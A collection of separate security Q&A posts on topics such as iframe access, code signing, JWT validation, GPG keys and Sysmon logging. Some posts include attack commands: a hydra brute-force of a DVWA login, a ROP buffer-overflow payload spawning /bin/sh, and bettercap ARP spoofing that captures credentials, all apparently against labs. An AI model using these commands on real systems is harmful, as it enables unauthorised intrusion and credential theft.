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I recently started working on adding custom code to HubSpot forms after their form is loaded via an iFrame. Initially, I was using the following code to access the iFrame to change it:
var form = window.docuemnt.querySelector("[data-reactid='.hbspt-forms-0.5.1.0']"]
if(form != null && form.getAttribute("data-abc") == null){
form.setAttribute("data-abc", "button-abc");
}
This would try to access the button which is connected to HubSpot but it returned null as the iFrame was on a different domain and my page. When I would try to print the form out, it would print "null", which confirmed the fact that I could not access the element.
I tried the following code afterwards:
var form = document.getElementById("hs-form-iframe-0").contentDocument.querySelector("[data-reactid='.hbspt-forms-0.5.1.0']")
if(form != null && form.getAttribute("data-abc") == null){
form.setAttribute("data-abc", "button-abc");
}
This allowed me to access it via my third party script and also add new attributes to the specific object. Is this a vulnerability or am I misunderstanding something?
Additionally, both of the codes worked when I ran them in the Chrome dev console, so the codes are correct, I am wondering on why one allows me to modify content in an iFrame?
I hope this question makes sense!
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I've been considering how continuous integration/delivery environments handle code signing.
If I maintain some open source project which uses a CD environment to build binaries to ship to users, I may wish to sign the binaries which are produced, so that users can verify they originate from me.
My question would be, is it reasonable for the signature to be calculated automatically as part of the CD pipeline? I would imagine it would be ideal to manually sign the binary each time, but are there major concerns with the former scenario? And does it go completely against common practice, or are projects using this pattern?
In this hypothetical scenario, a separate signing key would exist just for the build server, I'm not suggesting using my own key for the automated signatures.
I appreciate this is somewhat subjective, but I would greatly appreciate any perspectives.
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$ hydra 127.0.0.1 -l admin -P /usr/share/wordlists/rockyou.txt http-get-form “/dvwa/vulnerabilities/brute/?username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=4jpaqj7i6d88g7im1hlpq21ad9”
zsh: parse error near `&'
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There is the following option in ncrack (from the man page):
Misc options:
ssl: enable SSL over this service
ssl (Enable/Disable SSL over service)
By enabling SSL, Ncrack will try to open a TCP connection and then
negotiate a SSL session with the target. Everything will then be
transparently encrypted and decrypted. However, since Ncrack's job is
to provide speed rather than strong crypto, the algorithms and ciphers
for SSL are chosen on an efficiency basis. Possible values for this
option are 'yes' but just specifying ssl would be enough. Thus, this
is the only option that doesn't need to be written in the
= format. By default, SSL is disabled for all services
except those that are stricly dependent on it like HTTPS.
What are use cases for this option?
Or is it just to upgrade modules like ftp to ftps, http to https,pop3 to pop3s and so forth?
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The organization I work for uses Malicious Domain Blocking and Reporting (MDBR), which is a service provided by Center for Internet Security (CIS). MDBR technology prevents IT systems from connecting to harmful web domains, helping limit infections related to known malware, ransomware, phishing, and other cyber threats. (source) From what I gather this is a new tool and has been adopted primarily by government agencies.
Recently two major application libraries were identified as malicious content: code.jQuery.com and fonts.gstatic.com. Applications were in a broken state until we alerted our security team that there was an issue. Their feedback was essentially: We don't have control over what is included on the MDBR block list. We trust CIS and if they are blocking there is a good reason for it.
Can anyone with experience with this security tool speak to the issue? Have you seen major assets be blocked by MDBR? If so, how did you remedy the issue? It is alarming that jQuery would be blocked. If it is a legitimate concern the entire programming/security community would be screaming. If it isn't, why is it on the MDBR block list?
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So the people at my new work set up a vpn on my personal pc today, windows style, so now when I go into network tab I can pick their company connection. What they don't know is that I have another client where I use citrix. Will connecting to the company vpn system wide let them know I have another client? Basically, can they know what I do on my personal PC, regardless whether it's another work or porn as long as I'm connected to their vpn? Am I forced to run it in a VM?
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If a user was using your application on a public computer and were to log out of your website without closing the tab, the next person to use this computer could snoop through the console and look for errors logged there. Even if you weren't explicitly logging any request errors to the console you could forget to catch an error from an axios request. This then would be logged to the console. The third party could look at these errors and possibly find sensitive information or even the user's access token.
How would one prevent this? With console.clear()? Or would you reload the page on logout? Any other tips?
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I read this https://medium.com/@betable/tifu-by-using-math-random-f1c308c4fd9d
and if the key is generated with an old browser using math.random via chrome v8, could the AES encrypted message be cracked just by trying all the combinations? This assumes you only have the output and not the computer.
this however suggests it cannot be done https://www.reddit.com/r/cryptography/comments/fw2cdu/can_you_retrieve_aes_key_that_was_generated_using/
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The cross-platform port of doas, opendoas, has a persist feature that basically caches the user's password so they don't have to enter it repeatedly. It seems like many people consider this insecure.
As I understand it, BSD has some fancy kernel feature to do persistence securely. Linux does not, hence opendoas reimplements its own persistence. It uses an approach similar to sudo (which AFAIK creates files and relies on Linux permissions to keep the cache file from being manipulated).
How is this any worse than sudo? If it uses the same persistence mechanism as sudo, doesn't that still mean doas has all the advantages that it would without persistence, minus the very minor one related to persistence?
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I mean, for example, if you have configured your home router to Cloudflare's or Google's DNS settings - now, does it make any sense to alter you DNS settings -again- at the your Laptop or Mobile devices or use any WARP App?
Can DNS settings be configured twice i.e both at router level and device level? Does it provide any extra benefit - like more privacy or security?
What happens if you configure you router to Cloudflare's DNS settings while your device is configured to Google's or Quad9's (or any other) DNS settings? Which DNS resolver is in action in such a scenario?
Does such a configuration double the online privacy and security?
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Should ga gid gat and Fbp cookies be flagged as Secure and HttpOnly?
Is there a way an attacker can use them if accessed?
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I'm testing a web application and burp detected this issue:
Cross-origin resource sharing: arbitrary origin trusted
Looking at the response, I only see this header:
Access-Control-Allow-Origin: https://www.evil.com
Considering the lack of this header set to true in the response:
*Access-Control-Allow-Credentials: true *
can I consider this vulnerability a false positive?
Thanks a lot!
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Someone is running an automated scan on our SSL setup and they insist that our root certificate be included in all the following CA stores:
"Mozilla NSS - 01/2014"
"Apple - OS X 10.9.2"
"Java 6 - Update 65"
"Microsoft - 04/2014"
Now, I could argue about the list of CA stores they are using for their tests but this is not going to be a productive discussion so, I am looking for a way to find the exact list of certificates included in the above CA stores, and derive from that a list of vendors who are going to sell me a valid certificate signed by a root certificate present in all the above CA stores.
Hence, my questions, potentially dumb or naive, sorry for that:
For example, how do I know what certificates are included in "Mozilla NSS - 01/2014" ? I thought it would be easy to google for that string and find matching certificates but it's not. I tried to find a matching nss release for that data but I can't find any information about which nss version might have been released on jan 2014.
How do I know which vendors might sell certificates that are indirectly signed by a specific root certificate ?
Am asking the wrong questions given the problem ?
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My boss is very concerned about malware. He has heard that malware usually comes in via email attachments, and so he wants me to set up a computer specifically for that task and isolate it somehow.
Is this a practical idea? If so, what steps should I take to isolate the computer? Would turning network discovery off be enough? Would I need to set it up on a separate network entirely? What else do I need to consider?
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Bank account have portals that one can access online.
After entering my uname/password, OTP is sent via SMS to mobile phone.
After entering OTP and password again, one is allowed access to online banking portal.
My concern is what happens when phone is lost.
I understand the security concerns using an email associated with the account profile to send OTP.
However, if one uses a secondary email, and this secondary email is only used for OTP/2fa, does this alleviate security risk?
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Or Windows 11 pre-release, just cause I'm curious?
(By employees if that wasn't implicit.)
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I have a static react app which users login via an Okta SPA app.
The app receives a JWT, which it is stored in the browser, and passed to the backend API via Authentication header on every request.
The API using Azure API Management. They provide "policies" to validate JWT tokens.
<validate-jwt header-name="Authorization" failed-validation-httpcode="401" failed-validation-error-message="JWT Token invalid" require-scheme="Bearer">
<openid-config url="https://dev-999999.okta.com/oauth2/default/.well-known/oauth-authorization-server" />
<audiences>
<audience>api://default</audience>
</audiences>
<issuers>
<issuer>https://dev-999999.okta.com/oauth2/default</issuer>
</issuers>
</validate-jwt>
I assume that the "validation" is using a public key (obtained by the OpenId configuration url?) to check that the JWT was signed by my okta app? And that it wouldn't be possible to spoof a JWT in a way that would pass this validation?
If that's the case, is it secure to just rely on this validation alone, or are additional request needed to okta? I was hoping to use additional "group" claims on the token to manage RBAC.
I think I understand how this works (more or less), but I just wanted to make sure I'm not overlooking something.
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I'm a freshman in university, and I recently moved into residence. Pretty quickly, I logged into campus wifi so I can actually do classes and things.
My laptop and primary phone logged in with minimal complaining, but my secondary/legacy phone had problems. I went to the site that explained how to log into the wifi, but one step told me to choose as my CA certificate "Use system certificates". No such option was available. I wound up having to go to yet another university website, and download a certificate they provided, but it still refused to connect. I never even saw the "Domain" textbox open like it wanted me to.
Today, I revisited the issue. I checked wifi connection instructions for other OSs, and one (Chromebook) said to leave it as "Do not check/None installed". I tried it out, telling it to not use a certificate, and, lo and behold, it connected. I checked the network settings, and it had spontaneously added the university certificate I'd gotten off of the website. Now I'm a little worried there was or now is some kind of vulnerability.
TL;DR: Joined a network with CA Certificate set to "Don't validate" out of desperation. It connected, and set itself to a safety certificate I had downloaded, and now seems to work fine. Is there anything to be worried about?
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The password in VeraCrypt is used to en-/decrypt a header, that contains a master key, that is used to en-/decrypt the data.
I know, that I can change the password, which will not change the master key and thus be quite fast. But if I have the suspicion, that someone gained access to my header and is able to crack my password, he will be able to use the master key to decrypt my data even after I changed my password.
So, how can I also change the master key, which will include a complete recoding of the container/volume and thus may take some time?
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If a device running a WhatsApp account has already be compromised. Can the attacker steal session cookies/encryption keys on the device and establish a persistent connection to receive calls and messages sent to the device?
Would this be possible if the phone has been turned off, but the WhatsApp account has not been registered on another device? Hence, encryption keys and session keys are still valid.
Thanks in advance.
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In my company, numeric user IDs are considered PIIs and therefore need to be pseudo-anonymized to be GDPR compliant.
To do so, we populate a lookup table where to each ID is assigned a monotonically decreasing gdpr_ID. Then when users are inactive or request to be deleted, we simply update the ID column by using the gdpr_ID value, making it impossible to know that gdpr_ID was originally linked to a specific ID.
The downside of this approach is that we have different tables where these IDs appear and we need to anonymize these records, but this lookup table is getting bigger and bigger, making our ETL pipelines increasingly slower.
The solution we were thinking about was to use a hashing function, but since IDs are just numbers we need to attach a salt. How can we generate this salt in such a way that salt(ID) always returns the same value, without having to create/use lookup tables and, at the same time, not being able to reconstruct it?
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In other words: Does Safari's "Prevent cross-site tracking" option effectively prevent cross-site tracking? (Is it for purpose?) I though it would work; are my expectations off?
Or, more specifically, I'm wondering: Why is Facebook data reappearing in Safari (14.1.2) without me visiting or having any Facebook web pages open? Is this a bug?
Or, is Facebook data reappearing in Safari (14.1.2) without me visiting or having any Facebook web pages open a bug?
Scenario:
After closing all Facebook property tabs, (but leaving many other tabs open) and going under [Privacy] into [Manage Website Data] (and clearing so there's nothing Facebook.com, instagram.com, WhatsApp.com, fbcdn.com etc. I went back in about a minute later and
I'm seeing fbcdn.com has (√) Cache again.
I'm seeing Facebook.com has Cache, Cookies, Local Storage, and HSTS Policy again[2].
I'm seeing oversightboard.com has Local Storage again.
I'm wondering what to make of this Facebook data reappearing.
Shouldn't having "Prevent cross-site tracking" ON make this not happen without me visiting or having any Facebook web pages open?
(I notice that just loading Facebook.com - while logged out - results in Cache, Cookies, Local Storage, and HSTS Policy.)
[2]: This morning, I'm seeing Facebook.com has all four - Cache, Cookies, Local Storage, and HSTS Policy again. Though I've visited no Facebook properties. (At first I was going by my recollection that I (IIRC) saw Cache, Cookies, and HSTS Policy again.)
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I'm interested to know how someone would be able to hack (i.e. gain remote access) to an iPhone. Would knowing the iCloud password tied to the device be sufficient? Or would they also need to have gotten physical access to the device?
How would this work? This happened to me, and I'd like to know how to recover and prevent this from happening.
For context, they managed to send a remote apple event to my phone while I was updating my software over wifi (a shame that Apple only allows iPhones to be updated over wifi btw). The prompt looks exactly the same as an iCloud authentication prompt. Declined a few times just to be sure, and it wouldn't allow me to proceed with installing the update. Hence, I figured it might be a legit iOS password prompt to authenticate before installing the latest updates.
A few days later I realized that my phone started leaking information and my iCloud settings have changed on their own. Tried wiping the device, and it won't allow me while giving a prompt that the phone is in the process of uploading files to iCloud (when I have never synced anything with my account).
Appreciate any feedback on this, thank you.
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When I try to use the module to intercept data to vulnweb, the target machine loses connectivity to the internet. Sometimes I am able to intercept the data but it looks like my terminal is stuck in an endless loop where I do intercept the data but the form is not sent successfully to the server.
I get this in an endless loop on bettercap terminal
"POST /login HTTP/1.1
Host: testhtml5.vulnweb.com
Upgrade-Insecure-Requests: 1
Origin: http://testhtml5.vulnweb.com
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 30
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://testhtml5.vulnweb.com/
Accept-Encoding: gzip, deflate
Accept-Language: he-IL,he;q=0.9,en-US;q=0.8,en;q=0.7
username=admin&password=123456
"
and also I get endless loops of
.17 » [04:38:02] [net.sniff.http.request] http DESKTOP GET testhtml5.vulnweb.com/
In the end, all I see on the target side is
"this site can't be reached, ERR_Connection_RESET"
some sites get an error
"NO internet error : DNS_PROBE_FINISHED_NO_INTERNET"
commands I run are:
net.probe on
set arp.spoof.fullduplex on
set arp.spoof.targets 10.0.0.15(target ip)
net.sniff on
arp.spoof on
When I try to send the form on vulnweb= endless loop and the internet on the target site get stuck.
I have Alfa AWUSAlfa AWUS036ACH
Any Ideas?
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Here is the code:
import struct
buf = ""
buf += "A" * 552
buf += struct.pack('<Q', 0x401493) # pop rdi; ret
buf += struct.pack('<Q', 0x7ffff7f79152) # /bin/sh
buf += struct.pack('<Q', 0x7ffff7e37e50) # system
file = open('in.txt', 'wb')
file.write(buf)
Running in gdb shows this:
[Attaching after process 5973 vfork to child process 5977]
[New inferior 2 (process 5977)]
[Detaching vfork parent process 5973 after child exec]
[Inferior 1 (process 5973) detached]
process 5977 is executing new program: /usr/bin/dash
[Attaching after process 5977 vfork to child process 5978]
[New inferior 3 (process 5978)]
[Detaching vfork parent process 5977 after child exec]
[Inferior 2 (process 5977) detached]
process 5978 is executing new program: /usr/bin/dash
[Inferior 3 (process 5978) exited normally]
Running without gdb ((cat in.txt; cat) | ./program) shows this:
zsh: broken pipe ( cat in.txt; cat; ) |
zsh: segmentation fault ./program
What am I doing wrong? The ROP executes (it gets to system with "/bin/sh" in RDI) and gdb shows that it is trying to launch /usr/bin/dash (multiple times, for some reason) but no shell spawns
Kali 2021.3 x64, libc 2.31
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What are the differences between the CIS hardened linux and SELinux(security linux)? Also, all the public cloud service providers support CIS hardened linux. Does it mean SELinux has lost the battle? Or in terms of security, which flavor should I be choosing/using for a safety systems such as SIL4(SAFETY INTEGRITY LEVEL)?
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How reliable is a mathematical model of a human fingerprint for identification?
I am looking for a way to uniquely identify individuals that is very reliable and easy to use that does not require storing actual biometric data. Storing the actual biometric data would seem to violate privacy. The method outlined in this article seems like it might be a good fit. I don't know the false positive / false negative rates.
Mathematical Models of Fingerprints on the Basis of Lines Description
and Delaunay triangulation
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I'm attempting to establish a process for setting up a new GPG identity for myself and my threat model.
Much of it is following guides which I believe are still considered best practices:
https://github.com/drduh/YubiKey-Guide
https://blogs.itemis.com/en/openpgp-on-the-job-part-4-generating-keys
https://dev.to/benjaminblack/signing-git-commits-with-modern-encryption-1koh
These schemes seem to be advocating for:
Setup an offline primary key that only has the "Certify" capability
Create an online subkey with capabilities: "Sign"
Create an online subkey with capabilities: "Authenticate"
Create an online subkey with capabilities: "Encrypt"
The above guides are using RSA-4096, but based on my other readings it seems like using ECC with curve 25519 is as secure, but requires less space to store and less energy to use, so I'd like to go with that.
I was playing with the tools in a temporary GNUPGHOME, and I was able to setup an ECC primary key, but when I sent to generate the "encrypt" subkey, I noticed there didn't seem to be an encryption capability:
Possible actions for a ECDSA/EdDSA key: Sign Certify Authenticate
Current allowed actions: Sign Certify
(S) Toggle the sign capability
(A) Toggle the authenticate capability
(Q) Finished
But if I use RSA, it seems like it is an option:
Possible actions for a RSA key: Sign Certify Encrypt Authenticate
Current allowed actions: Sign Certify Encrypt
(S) Toggle the sign capability
(E) Toggle the encrypt capability
(A) Toggle the authenticate capability
(Q) Finished
I wasn't able to find much online about why this is.
For reference my gpg version information is as follows:
gpg (GnuPG) 2.2.20
libgcrypt 1.8.7
Supported algorithms:
Pubkey: RSA, ELG, DSA, ECDH, ECDSA, EDDSA
Cipher: IDEA, 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH,
CAMELLIA128, CAMELLIA192, CAMELLIA256
Hash: SHA1, RIPEMD160, SHA256, SHA384, SHA512, SHA224
Compression: Uncompressed, ZIP, ZLIB, BZIP2
In summary, my question is:
Why does RSA have an "encrypt" capability but ECC doesn't.
Is having one primary key and 3 subkeys for each functionality still best practice?
Should I generate an RSA subkey with an "encrypt" capability as a workaround?
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I find that session ids are different between 2 peers (client and server) in same tls handshaking process. Why should these two values be different? I studied before that when a new session is established the session id field is empty, but I see this picture.
I capture traffic between my client and web server which is supported by TLS 1.2.
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while debugging some strange effects in my home network (bad video call quality due to packet loss) I found out this only happens when my RBPI is connected to the network. When I wanted to log in I discovered that the default password was not working any more. I was not thinking much about it and assumed I changed the password at some point. After a complete reinstall of Raspberry Pi OS the packet loss went away... for 1 day. After that the same effects: heavy packet loss AND again I couldn´t log in with the default password.
I finally discovered that I left the RBPI with default user settings and password exposed to the internet on port 22 (in the router settings). Stupid. I repeated the experiment a few times and found out that at some point after fresh reinstall the packet loss returns and the default user gets logged out and his password changed. Probably an automated attack on idiots like me.
I had a quick check with Wireshark to see if the compromised RBPI tries funny stuff to the other machines in my home network but couldnt find anything.
Now the question is: how can I best approach finding out what happend to the RBPI. Forensic tools that scan a SD Card / image?
P.S. I dont get why the attacker changed the default password. I would probably not have discovered the attack if I could have still logged in.
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I have a cheap cellphone bought about ten years ago. It has a physical SIM card. I have in-phone "deleted" all sent and received messages, but very strongly suspect that these are still there (as well as any deleted contacts) whether I stored them on the SIM card or on the internal storage memory of the phone.
I bet anyone with special knowledge stealing my phone could retrieve the messages. Or cops. (Obviously, in the latter case, they also can retrieve it from the phone provider or whatever database stores all messages sent on a network level, but that's a bit different and nothing I can do anything about.)
I'd like to know if there is some sort of "secret poweruser mode" I can enter with some sort of code which then lets me fully "nuke" the deleted data from at least the SIM card and the internal phone memory, just like the CIPHER command in Windows allegedly allows you to "fully delete" deleted files on your internal disks or any storage device (such as a USB memstick or flash card) by writing those areas over with zeroes, ones and random zeroes/ones.
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I am just getting into ethical hacking and cybersecurity and would like some advice regarding USB Wi-Fi adapter. I am hacking on Raspberry PI 3 which is running Kali Linux. Furthermore, I have been following this video link
and been learning about aircrack-ng hacking tool.
What I am confused about, is whether I need the Wi-Fi adapter or not. Since I can start the wlan0mon with the command airmon-ng start wlan0 and the interface, wlan0mon with monitor mode will appear when I check with iwconfig.
I have tried to proceed with the tutorial, but it does not seem to work properly. For example, I found the clients connected to my home access point with the command : airodump-ng wlan0mon -b "MAC_ADDRESS" and it says that there are no clients connected even though I have multiple devices connected to it.
To summarize, my questions are:
Do I need a Wi-Fi adapter for the Raspberry PI 3 even though I have access to wlan0mon?
If my home router is set up for both 2.4g and 5g and all client devices are connected to 5g, 2.4g USB adapters would be useless is that right? For example, adapter such as
AWUS036NHA won't be able to monitor everything is that true?
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Basically these 3 processes open for about 1/3 of a second and then instantly close on my task manager. I don't know what it is and I wasn't able to find anything on google about it. I am a little worried it might be malware but like I said I just don't know what it is.
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during the static analysis while pentesting an android application I found the following information to connect to a firebase instance.
<string name="google_app_id">1:**REDACTED**:android:**REDACTED**</string>
<string name="google_api_key">AIza**REDACTED**</string>
<string name="firebase_database_url">https://**REDACTED**.firebaseio.com</string>
<string name="gcm_defaultSenderId">**REDACTED**</string>
<string name="google_storage_bucket">**REDACTED**.appspot.com</string>
<string name="project_id">**REDACTED**-staging</string>
The application does not use Firebase authentication for users, and this instance should just be used to retrieve some non-user generic data.
My question is, would it makes sense to try and interact with this Firebase instance to check if it's properly configured (ex. if it really is read-only)
If the answer is yes, are there some tools commonly used for this task?
Thank you.
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I work in cybersecurity and would like to find an older laptop that doesn't have the Intel Management Engine built-in, while still able to run a Debian OS well.
I have an IBM ThinkPad t42 with 42T0273 system board laying around, which was introduced in late 2004. While it likely doesn't have IME on it, I found that t42s came equipped with something called Embedded Security System, which sounds eerily similar.
Can you advise on whether my t42 is free from remote management hardware, or is there another, perhaps later model of thinkpads that can be used? (I do not want to use system76 or purism systems).
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I am connecting an Arduino Uno to the internet via ethernet (using the ethernet shield v2) and querying NTP time. Making requests to a NTP server is the only internet related thing it does. You can use the ethernet shield as an SD card to host data, I WILL NOT be doing that. It will only be querying NTP.
I'm worried this IoT device will become a security target for my network. What attacks is it vulnerable to? And how do I secure such a low spec device?
Note: I am not worried about physical attacks, the device will be locked away.
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Extend version of the question
I'm trying to figure out how to detect the launch of unwanted processes based on regular logging in Windows and sysmon. Sysmon event 1 allows you to get a significant amount of information about the running process: OriginalFileName, User, LogonGuid, Hashes, and so on. For example:
Process Create:
RuleName:
UtcTime: 2021-09-14 08:41:15.359
ProcessGuid: {b56fc2d9-602b-6140-0000-001009272900}
ProcessId: 7804
Image: C:\Windows\System32\MusNotificationUx.exe
FileVersion: 10.0.18362.1533 (WinBuild.160101.0800)
Description: MusNotificationUx.exe
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: MusNotificationUx.exe
CommandLine: %%systemroot%%\system32\MusNotificationUx.exe ClearActiveNotifications
CurrentDirectory: C:\WINDOWS\system32\
User: test\testUser
LogonGuid: {b56fc2d9-5ffa-6140-0000-0020c4d71800}
LogonId: 0x18D7C4
TerminalSessionId: 2
IntegrityLevel: Medium
Hashes: MD5=64C6885F0A077303D0BDF90B8C19F8DD
ParentProcessGuid: {b56fc2d9-6029-6140-0000-0010b70f2900}
ParentProcessId: 7796
ParentImage: C:\Windows\System32\MusNotification.exe
ParentCommandLine: C:\WINDOWS\system32\MusNotification.exe LogonUpdateResults
But the log does not contain the SID of the user who started the process. Why is this done and is there any way to get the SID in the log without building additional correlations?
Original Question:
Why is there no user SID in the sysmon event with id 1 (process creation)? Are there any configuration options to get it?
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As per my understanding, JWTs are signed tokens which can be used to identify users, if used as session tokens, they can eliminate need to store session on server ie. they are stateless.
Suppose I store user_id in JWT token and use it to validate users on server, how would a user actually log out?
Just deleting token from browser won't be useful, for example, suppose you want to log out of all other sessions.
Since JWTs are stateless, there can be no way to invalidate existing tokens, solutions could be to keep it in DB which defeats the purpose of JWT.
This would be a major security risk as log out is a very important feature, If JWTs aren't useful as session tokens, what is the perfect use case for JWT?
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The company I'm working in wants to develop a CRM that is cloud-based and we will need to store the data safely.
I've been searching for a way to create a strategy to save and secure data but I don't seem to find the answers I'm looking for.
We don't want to have access to sensitive data, so that data should be encrypted.
We looked at some solutions like MSSQL Always Encrypted or Mysql TDE but our host provider (DigitalOcean) doesn't support MySQL TDE and doesn't offer MSSQL, so we would either need to change the host provider or host the CRM ourselves.
My Manager also wants us to do client-side encryption as it would be the most secure way to encrypt the data without us having access to it. He wants us to do something similar to Passbolt, but there are some issues, I think.
The first issue is that Passbolt only encrypts the passwords that are normally no bigger than 20-50 chars using OpenPGP. A CRM would contain data that is much bigger than that, so this would be a problem, no?
The second issue is if we do client-side encryption, we would need to store the users' private keys in the browser with WebSQL and I'm not quite sure how secure this would be.
The third issue is that our application would have claim-based access, meaning some users would have access to the planner, for example, others would have access to invoices, etc... So before the encryption, we would need to ask the server for all the public keys of the users who have access to the "section" where we want to encrypt the data. More importantly, if we add or change the access of a particular user, then we would need to decrypt all the data he had/will have access to and encrypt it again to all the users.
Keep in mind we are open to change our Host provider (Change to Azure, AWS, Google, etc..).
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In case of a virtual machine it is possible to break out of the VM and gain code execution on the host. In that way you could evade any detection mechanism for malware inside the VM and maybe even on the host.
In case of the virtual machine malware would then run at ring -1.
Is it possible to subvert a physical system at runtime (no reboot, no physical access) so malware runs on ring -2 or -3? Or do you need to write to the BIOS flash or EEPROMs of other peripherals and reboot the system?
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I have a system with custom cipher suites specified in this registry key
HKLM\SOFTWARE\Policies\Microsoft\Cryptography\Configuration\SSL\00010002!Functions
TLS_AES_256_GCM_SHA384
TLS_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_256_CBC_SHA256
TLS_RSA_WITH_AES_128_CBC_SHA256
TLS_RSA_WITH_AES_256_CBC_SHA
TLS_RSA_WITH_AES_128_CBC_SHA
TLS_RSA_WITH_3DES_EDE_CBC_SHA
TLS_RSA_WITH_NULL_SHA256
TLS_RSA_WITH_NULL_SHA
TLS_PSK_WITH_AES_256_GCM_SHA384
TLS_PSK_WITH_AES_128_GCM_SHA256
TLS_PSK_WITH_AES_256_CBC_SHA384
TLS_PSK_WITH_AES_128_CBC_SHA256
TLS_PSK_WITH_NULL_SHA384
TLS_PSK_WITH_NULL_SHA256
However, I can see from Wireshark traces that Windows sends only 17 cipher suites out of the list of 29.
In particular, it doesn't send these two cipher suites accepted by the server:
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
Can someone tell me why this can happen?
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I detected an activity last week on our SIEM system. The MsMpEng.exe which belongs to Windows Defender access lsass.exe. I search it on the net for learn is it a normal acitivty or is it anormal then there is no information about it. Activity's event ID is 4656. Anyone can explain it for me? Why windows defender access lsass.exe. Is it normal or anormal activity?
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I'm pentesting an android application written in Cordova and while inspecting the network traffic I found some interesting endpoint that I would like to test.
However, this endpoint need a tokenID (ex. eyJ[...].eyJ[...]) and I don't know why, even after doing SSL unpinning (with more than one Frida script), I'm unable to intercept the request that is used to generate the token.
After some static analysis, I realized that the token is being requested by com.android.gms (Google Mobile Service).
I managed to find the gcm_defaultSenderId, google_api_key and google_app_id. However, since the apk is obfuscated, I didn't manage to discover how to craft the request.
Do any of you know if there is a way to craft gms tokens using a script?
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If i run
netstat -an
on my Windows Server 2019 it shows multiple connections on Port 3389 (which is RDP)
The first IP Adress is mine, however i cant explain the other two connections. They both change their IP-Adress about every minute and if i google them, they ofthen have a negative reputation like being blacklisted or being a proxy. Is my server compromised? If so, i really canot explain it. The Server was setup yesterday and i literally didnt do anything except installing the recommend windows upgrades and downloading the Firefox Browser.
edit: HERGESTELLT means ESTABLISHED
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Is there a security risk to disabling the windows user account password, since my PC is already unlocked with a complex pin at boot time? I have my PC configured with sleep disabled. I'm running windows 10 pro.
For example, is windows network security reduced?
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Let's say that Malory owns an official website that now says that her birthday is on 25th of July. I can connect to that website by https, and SSL sertificate of the connection says "issued to Malory". Now I want to download that page as an evidence, that Malory published it. I know that she will later remove or change the information on the website, and I want to catch her on doing this. Can I extract some sort of certificate from the HTTPS connection to say:
"Dear court, Malory said that her birthday is on 25th of July, and I can prove it by presenting this HTML file with this HTTPS signature (or something like this)"?
Is there a convenient way to do it? I tried button "download complete page" in chromium, but it seems that it doesn't save any sort of signatures.
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So far I have owned a Google profile since 2016, and I had no problems until now when I began detecting unusual/bizarre messages in my 'Spam' folder.
This suspects me that operating a social networking account (e.g., Twitter), which I did back in August, also puts your email open to spam. Earlier today I got a weird message in my 'Spam' folder from some stranger with the heading 'BUSINESS INQUIRIES', along with an attachment leading to a Word document. Since I hardly knew Word attachments might contain Macros, I simply deleted it from my Gmail. I have had similar emails, some which have links or otherwise nothing.
For most of us it's hard to tell if each social media platform's user database is not completely secure, i.e., is easily accessible by the general public so that anyone can read and use that information, but not everyone (especially experts) is aware of this since it's basically a myth. However if I knew what would happen after joining a social media platform and were to run into issues related to spam/phishing, then I probably should bring the attention to all.
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If I turn on Apple’s private relay function on my iPad, will the TLS handshake still be with the website I am visiting or with the ingress proxy by Apple?
Or in other words, can Apple or the exgress proxy read my internet traffic with this function enabled?
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Are we inviting any problems if we add localhost and 127.0.0.1 to the subject alternative name field of an x509 certificate?
We are still trusting the appropriate root CA, but relaxing the rules of the name just a bit.
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Academia has had some high profile cases of forged identity; for instance, in the last decade the publisher Springer has had to retract 62 papers for this reason alone.
Usually these aren't high-effort attacks, just email address spoofing, etc. These often go something like this:
An early-career author writes/fabricates a paper.
They find a respected researcher, and create a confusingly similar email account.
They add the respected researcher's name to the paper as first author and themselves as second author.
They contact the journal as the respected author.
This is super annoying - retracting a paper from the record is a huge headache. On the other hand, academia seems like the perfect place for things like key signing parties, what with the scientific conferences and whatnot.
I'd like to try to sign things I might publish, so that the journal can quickly authenticate that the listed author has actually written the paper and is the one communicating with them.
Is this a good idea (or even possible)? I'm quite a novice to the X.509/PGP/GPG world; I wonder if anyone could point me to any precedent and best practices for this specific application? For instance, arXiv requires the raw latex source, so simply signing a .pdf with an X.509 cert is a non-starter.
The academic world has also adopted the ORCiD identifier as a unique reference key for each researcher (to avoid name changes from breaking citations, etc, but not for authentication). Would it be a good idea to include this in the signature somehow?
(note that I'm not actually a scientist [yet] - I might be mistaken about these issues!)
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Here are my conditions:
My Rest API must accept username and plain password. But, that's very bad. That's why the client must encrypt the password first and my rest API will decrypt it to get the plain password.
My client and rest API already set the encryption method using AES-256.
The key and iv for AES-256 are generated by PBKDF2 with the hash algorithm using SHA256.
This passphrase for PBKDF2 input is fixed and hardcoded. To prevent guessing the passphrase, I added salt to PBKDF2.
The salt is created using randomizer engine and create every time PBKDF2 is used.
The client sends the encrypted password alongside the salt appended to it so the rest API can create the key and iv for decrypting the password.
What I'm not so sure is the bold part of my conditions.
